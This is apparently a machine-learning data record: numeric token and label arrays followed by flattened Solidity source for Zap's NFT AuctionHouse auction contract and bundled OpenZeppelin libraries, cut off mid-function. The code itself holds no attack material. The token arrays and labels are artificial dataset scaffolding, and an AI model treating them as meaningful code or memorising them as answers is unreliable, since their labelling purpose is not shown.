[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2172, 2531, 1435, 3903, 1338, 5541, 95, 203, 3639, 2254, 5034, 10489, 267, 2055, 273, 467, 654, 39, 3462, 10784, 429, 12, 742, 492, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 12, 537, 267, 2055, 422, 374, 15329, 203, 5411, 2254, 5034, 7186, 861, 273, 1203, 18, 5508, 397, 4552, 4684, 31, 203, 5411, 2254, 5034, 7186, 382, 6630, 87, 273, 7186, 861, 342, 26664, 31, 203, 203, 5411, 389, 9340, 5621, 203, 203, 5411, 2254, 5034, 316, 2055, 13937, 510, 6388, 273, 467, 654, 39, 3462, 10784, 429, 12, 267, 2055, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 5411, 389, 2640, 2531, 12, 267, 2055, 13937, 510, 6388, 16, 7186, 861, 1769, 203, 203, 5411, 7186, 950, 273, 7186, 382, 6630, 87, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; import {SafeMathUpgradeable} from '@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol'; import {IERC721Upgradeable, IERC165Upgradeable} from '@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol'; import {ReentrancyGuardUpgradeable} from '@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol'; import {IERC20Upgradeable} from '@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol'; import {SafeERC20Upgradeable} from '@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol'; import {Counters} from '@openzeppelin/contracts/utils/Counters.sol'; import {IMarket} from './interfaces/IMarket.sol'; import {Decimal} from './Decimal.sol'; import {IMedia} from './interfaces/IMedia.sol'; import {IAuctionHouse} from './interfaces/IAuctionHouse.sol'; import {Initializable} from '@openzeppelin/contracts/proxy/utils/Initializable.sol'; interface IWETH { function deposit() external payable; function withdraw(uint256 wad) external; function transfer(address to, uint256 value) external returns (bool); } interface IMediaExtended is IMedia { function marketContract() external returns (address); } /** * @title An open auction house, enabling collectors and curators to run their own auctions */ contract AuctionHouse is IAuctionHouse, ReentrancyGuardUpgradeable { using SafeMathUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; using Counters for Counters.Counter; // The minimum amount of time left in an auction after a new bid is created uint256 public constant timeBuffer = 15 * 60; // The minimum percentage difference between the last bid amount and the current bid. uint8 public constant minBidIncrementPercentage = 5; // / The address of the WETH contract, so that any ETH transferred can be handled as an ERC-20 address public wethAddress; // verified Market Contract address private marketContract; // A mapping of all of the auctions currently running. mapping(uint256 => IAuctionHouse.Auction) public auctions; mapping(address => mapping(uint256 => TokenDetails)) private tokenDetails; bytes4 private constant interfaceId = type(IERC721Upgradeable).interfaceId; // 721 interface id uint8 constant public hundredPercent = 100; Counters.Counter private _auctionIdTracker; /** * @notice Require that the specified auction exists */ modifier auctionExists(uint256 auctionId) { require(_exists(auctionId), "Auction doesn't exist"); _; } /* * Constructor */ function initialize(address _weth, address _marketContract) public initializer { __ReentrancyGuard_init(); wethAddress = _weth; marketContract = _marketContract; } function setTokenDetails(uint256 tokenId, address mediaContract) internal { require( mediaContract != address(0), 'AuctionHouse: Media Contract Address can not be the zero address' ); if (tokenDetails[mediaContract][tokenId].mediaContract != address(0)){ require( mediaContract == tokenDetails[mediaContract][tokenId].mediaContract, "Token is already set for a different collection"); } tokenDetails[mediaContract][tokenId] = TokenDetails({ tokenId: tokenId, mediaContract: mediaContract }); } /** * @notice Create an auction. * @dev Store the auction details in the auctions mapping and emit an AuctionCreated event. * If there is no curator, or if the curator is the auction creator, automatically approve the auction. */ function createAuction( uint256 tokenId, address mediaContract, uint256 duration, uint256 reservePrice, address payable curator, uint8 curatorFeePercentage, address auctionCurrency ) public override nonReentrant returns (uint256) { require(duration >= 60 * 15 , "Your auction needs to go on for at least 15 minutes"); require( IERC165Upgradeable(mediaContract).supportsInterface(interfaceId), 'tokenContract does not support ERC721 interface' ); require( IMediaExtended(mediaContract).marketContract() == marketContract, "This market contract is not from Zap's NFT MarketPlace" ); require( IMarket(marketContract).isRegistered(mediaContract), "Media contract is not registered with the marketplace" ); require( curatorFeePercentage < hundredPercent, 'curatorFeePercentage must be less than 100' ); address tokenOwner = IERC721Upgradeable(mediaContract).ownerOf(tokenId); require( msg.sender == IERC721Upgradeable(mediaContract).getApproved(tokenId) || msg.sender == tokenOwner, 'Caller must be approved or owner for token id' ); uint256 auctionId = _auctionIdTracker.current(); _auctionIdTracker.increment(); setTokenDetails(tokenId, mediaContract); auctions[auctionId] = Auction({ token: tokenDetails[mediaContract][tokenId], approved: false, amount: 0, duration: duration, firstBidTime: 0, reservePrice: reservePrice, curatorFeePercentage: curatorFeePercentage, tokenOwner: tokenOwner, bidder: payable(address(0)), curator: curator, auctionCurrency: auctionCurrency }); IERC721Upgradeable(mediaContract).transferFrom( tokenOwner, address(this), tokenId ); emit AuctionCreated( auctionId, tokenId, mediaContract, duration, reservePrice, tokenOwner, curator, curatorFeePercentage, auctionCurrency ); if ( auctions[auctionId].curator == address(0) || curator == tokenOwner ) { _approveAuction(auctionId, true); } return auctionId; } /** * @notice Approve an auction, opening up the auction for bids. * @dev Only callable by the curator. Cannot be called if the auction has already started. */ function startAuction(uint256 auctionId, bool approved) external override auctionExists(auctionId) { require( msg.sender == auctions[auctionId].curator, 'Must be auction curator' ); require( auctions[auctionId].firstBidTime == 0, 'Auction has already started' ); _approveAuction(auctionId, approved); } function setAuctionReservePrice(uint256 auctionId, uint256 reservePrice) external override auctionExists(auctionId) { require( msg.sender == auctions[auctionId].curator || msg.sender == auctions[auctionId].tokenOwner, 'Must be auction curator or token owner' ); require( auctions[auctionId].firstBidTime == 0, 'Auction has already started' ); auctions[auctionId].reservePrice = reservePrice; emit AuctionReservePriceUpdated( auctionId, auctions[auctionId].token.tokenId, auctions[auctionId].token.mediaContract, reservePrice ); } /** * @notice Create a bid on a token, with a given amount. * @dev If provided a valid bid, transfers the provided amount to this contract. * If the auction is run in native ETH, the ETH is wrapped so it can be identically to other * auction currencies in this contract. */ function createBid( uint256 auctionId, uint256 amount, address mediaContract ) external payable override auctionExists(auctionId) nonReentrant { address payable lastBidder = auctions[auctionId].bidder; require( auctions[auctionId].approved, 'Auction must be approved by curator' ); require( auctions[auctionId].firstBidTime != 0, "Auction hasn't started yet" ); require( block.timestamp < auctions[auctionId].firstBidTime.add( auctions[auctionId].duration ), 'Auction expired' ); require( amount >= auctions[auctionId].reservePrice, 'Must send at least reservePrice' ); require( amount >= auctions[auctionId].amount.add( auctions[auctionId] .amount .mul(minBidIncrementPercentage) .div(hundredPercent) ), 'Must send more than last bid by minBidIncrementPercentage amount' ); require( IERC165Upgradeable(mediaContract).supportsInterface(interfaceId), "Doesn't support NFT interface" ); // For Zap NFT Marketplace Protocol, ensure that the bid is valid for the current bidShare configuration if (auctions[auctionId].token.mediaContract == mediaContract) { require( IMarket(IMediaExtended(mediaContract).marketContract()) .isValidBid( mediaContract, auctions[auctionId].token.tokenId, amount ), 'Bid invalid for share splitting' ); } // If this is the first valid bid we should refund the last bidder if (lastBidder != address(0)) { _handleOutgoingBid( lastBidder, auctions[auctionId].amount, auctions[auctionId].auctionCurrency ); } _handleIncomingBid(amount, auctions[auctionId].auctionCurrency); auctions[auctionId].amount = amount; auctions[auctionId].bidder = payable(msg.sender); bool extended = false; // at this point we know that the timestamp is less than start + duration (since the auction would be over, otherwise) // we want to know by how much the timestamp is less than start + duration // if the difference is less than the timeBuffer, increase the duration by the timeBuffer uint256 timeDiff = auctions[auctionId] .firstBidTime .add(auctions[auctionId].duration) .sub(block.timestamp); if (timeDiff < timeBuffer) { // Playing code golf for gas optimization: // uint256 expectedEnd = auctions[auctionId].firstBidTime.add(auctions[auctionId].duration); // uint256 timeRemaining = expectedEnd.sub(block.timestamp); // uint256 timeToAdd = timeBuffer.sub(timeRemaining); // uint256 newDuration = auctions[auctionId].duration.add(timeToAdd); uint256 oldDuration = auctions[auctionId].duration; auctions[auctionId].duration = oldDuration.add( timeBuffer.sub(timeDiff) ); extended = true; } emit AuctionBid( auctionId, auctions[auctionId].token.tokenId, auctions[auctionId].token.mediaContract, msg.sender, amount, lastBidder == address(0), // firstBid boolean extended ); if (extended) { emit AuctionDurationExtended( auctionId, auctions[auctionId].token.tokenId, auctions[auctionId].token.mediaContract, auctions[auctionId].duration ); } } /** * @notice End an auction, finalizing the bid on Zap NFT Marketplace if applicable and paying out the respective parties. * @dev If for some reason the auction cannot be finalized (invalid token recipient, for example), * The auction is reset and the NFT is transferred back to the auction creator. */ function endAuction(uint256 auctionId, address mediaContract) external override auctionExists(auctionId) nonReentrant { require( uint256(auctions[auctionId].firstBidTime) != 0, "Auction hasn't begun" ); require( block.timestamp >= auctions[auctionId].firstBidTime.add( auctions[auctionId].duration ), "Auction hasn't completed" ); address currency = auctions[auctionId].auctionCurrency == address(0) ? wethAddress : auctions[auctionId].auctionCurrency; uint256 curatorFee = 0; uint256 tokenOwnerProfit = auctions[auctionId].amount; if (auctions[auctionId].token.mediaContract == mediaContract) { // If the auction is running on mediaContract, settle it on the protocol ( bool success, uint256 remainingProfit ) = _handleZapAuctionSettlement(auctionId, mediaContract); tokenOwnerProfit = remainingProfit; if (success != true) { _handleOutgoingBid( auctions[auctionId].bidder, auctions[auctionId].amount, auctions[auctionId].auctionCurrency ); _cancelAuction(auctionId); return; } } else { // Otherwise, transfer the token to the winner and pay out the participants below try IERC721Upgradeable(auctions[auctionId].token.mediaContract) .safeTransferFrom( address(this), auctions[auctionId].bidder, auctions[auctionId].token.tokenId ) {} catch { _handleOutgoingBid( auctions[auctionId].bidder, auctions[auctionId].amount, auctions[auctionId].auctionCurrency ); _cancelAuction(auctionId); return; } } if (auctions[auctionId].curator != address(0)) { curatorFee = tokenOwnerProfit .mul(auctions[auctionId].curatorFeePercentage) .div(hundredPercent); tokenOwnerProfit = tokenOwnerProfit.sub(curatorFee); _handleOutgoingBid( auctions[auctionId].curator, curatorFee, auctions[auctionId].auctionCurrency ); } _handleOutgoingBid( auctions[auctionId].tokenOwner, tokenOwnerProfit, auctions[auctionId].auctionCurrency ); emit AuctionEnded( auctionId, auctions[auctionId].token.tokenId, auctions[auctionId].token.mediaContract, auctions[auctionId].tokenOwner, auctions[auctionId].curator, auctions[auctionId].bidder, tokenOwnerProfit, curatorFee, currency ); delete auctions[auctionId]; } /** * @notice Cancel an auction. * @dev Transfers the NFT back to the auction creator and emits an AuctionCanceled event */ function cancelAuction(uint256 auctionId) external override nonReentrant auctionExists(auctionId) { require( auctions[auctionId].tokenOwner == msg.sender || auctions[auctionId].curator == msg.sender, 'Can only be called by auction creator or curator' ); require(auctions[auctionId].bidder == address(0), "You can't cancel an auction that has a bid"); _cancelAuction(auctionId); } /** * @dev Given an amount and a currency, transfer the currency to this contract. * If the currency is ETH (0x0), attempt to wrap the amount as WETH */ function _handleIncomingBid(uint256 amount, address currency) internal { // If this is an ETH bid, ensure they sent enough and convert it to WETH under the hood if (currency == address(0)) { require( msg.value == amount, 'Sent ETH Value does not match specified bid amount' ); IWETH(wethAddress).deposit{value: amount}(); } else { require( msg.value == 0, 'AuctionHouse: Ether is not required for this transaction' ); // We must check the balance that was actually transferred to the auction, // as some tokens impose a transfer fee and would not actually transfer the // full amount to the market, resulting in potentally locked funds IERC20Upgradeable token = IERC20Upgradeable(currency); uint256 beforeBalance = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), amount); uint256 afterBalance = token.balanceOf(address(this)); require( beforeBalance.add(amount) == afterBalance, 'Token transfer call did not transfer expected amount' ); } } function _handleOutgoingBid( address to, uint256 amount, address currency ) internal { // If the auction is in ETH, unwrap it from its underlying WETH and try to send it to the recipient. if (currency == address(0)) { IWETH(wethAddress).withdraw(amount); // If the ETH transfer fails (sigh), rewrap the ETH and try send it as WETH. if (!_safeTransferETH(to, amount)) { IWETH(wethAddress).deposit{value: amount}(); IERC20Upgradeable(wethAddress).safeTransfer(to, amount); } } else { IERC20Upgradeable(currency).safeTransfer(to, amount); } } function _safeTransferETH(address to, uint256 value) internal returns (bool) { (bool success, ) = to.call{value: value}(new bytes(0)); return success; } function _cancelAuction(uint256 auctionId) internal { address tokenOwner = auctions[auctionId].tokenOwner; IERC721Upgradeable(auctions[auctionId].token.mediaContract) .safeTransferFrom( address(this), tokenOwner, auctions[auctionId].token.tokenId ); emit AuctionCanceled( auctionId, auctions[auctionId].token.tokenId, auctions[auctionId].token.mediaContract, tokenOwner ); delete auctions[auctionId]; } function _approveAuction(uint256 auctionId, bool approved) internal { auctions[auctionId].approved = approved; auctions[auctionId].firstBidTime = block.timestamp; emit AuctionApprovalUpdated( auctionId, auctions[auctionId].token.tokenId, auctions[auctionId].token.mediaContract, approved ); } function _exists(uint256 auctionId) internal view returns (bool) { return auctions[auctionId].tokenOwner != address(0); } function _handleZapAuctionSettlement( uint256 auctionId, address mediaContract ) internal returns (bool, uint256) { require( IMediaExtended(mediaContract).marketContract() == marketContract, "This market contract is not from Zap's NFT MarketPlace" ); require( IMarket(marketContract).isRegistered(mediaContract), "This Media Contract is unauthorised to settle auctions" ); address currency = auctions[auctionId].auctionCurrency == address(0) ? wethAddress : auctions[auctionId].auctionCurrency; IMarket.Bid memory bid = IMarket.Bid({ amount: auctions[auctionId].amount, currency: currency, bidder: address(this), recipient: auctions[auctionId].bidder, sellOnShare: Decimal.D256(0) }); IERC20Upgradeable(currency).approve( IMediaExtended(mediaContract).marketContract(), bid.amount ); IMedia(mediaContract).setBid(auctions[auctionId].token.tokenId, bid); // 1e18 uint256 beforeBalance = IERC20Upgradeable(currency).balanceOf( address(this) ); try IMedia(mediaContract).acceptBid( auctions[auctionId].token.tokenId, bid ) {} catch { // If the underlying NFT transfer here fails, we should cancel the auction and refund the winner IMediaExtended(mediaContract).removeBid( auctions[auctionId].token.tokenId ); return (false, 0); } // 5e17 uint256 afterBalance = IERC20Upgradeable(currency).balanceOf( address(this) ); // We have to calculate the amount to send to the token owner here in case there was a // sell-on share on the token return (true, afterBalance.sub(beforeBalance)); } receive() external payable { require( msg.sender == wethAddress, 'AuctionHouse: Fallback function receive() - sender is not WETH' ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view 